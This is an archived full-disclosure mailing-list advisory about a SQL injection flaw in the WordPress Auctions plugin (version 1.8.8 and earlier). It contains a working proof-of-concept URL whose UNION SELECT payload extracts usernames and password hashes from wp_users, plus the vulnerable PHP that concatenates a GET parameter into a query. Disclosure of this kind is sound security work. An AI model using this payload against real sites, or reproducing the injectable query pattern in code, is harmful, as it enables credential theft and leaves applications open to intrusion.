[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CALwZ-V201hvdWXLdmm4S-j=ggXiwmU0R7uO-RKC2waS+C0nXVg@mail.gmail.com>
Date: Wed, 14 Sep 2011 16:06:26 -0300
From: "Heyder[AlligatorTeam]" <heyder@...igatorteam.org>
To: full-disclosure@...ts.grok.org.uk
Subject: WordPress Auctions plugin <= 1.8.8 SQL Injection
Vulnerability
# Exploit Title: WordPress Auctions plugin <= 1.8.8 SQL Injection
Vulnerability
# Date: 2011-09-09
# Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org>
@AlligatorTeam
# Software Link: http://downloads.wordpress.org/plugin/wp-auctions.zip
# Version: 1.8.8 (tested)
---------------
PoC
---------------
URL:
http://localhost/wordpress/wp-admin/admin.php?page=wp-auctions-add&wpa_action=edit&wpa_id=-1+union+all+select+1,2,3,USER(),concat(user_login,char(58),user_pass),DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+wp_users&_wpnonce=e04f105b8e
---------------
Vulnerable code
---------------
...
elseif($_GET["wpa_action"] == "edit"):
$strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
...
elseif($_GET["wpa_action"] == "relist"):
$strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
...
$resultList = $wpdb->get_row($strSQL);
...
Content of type "text/html" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists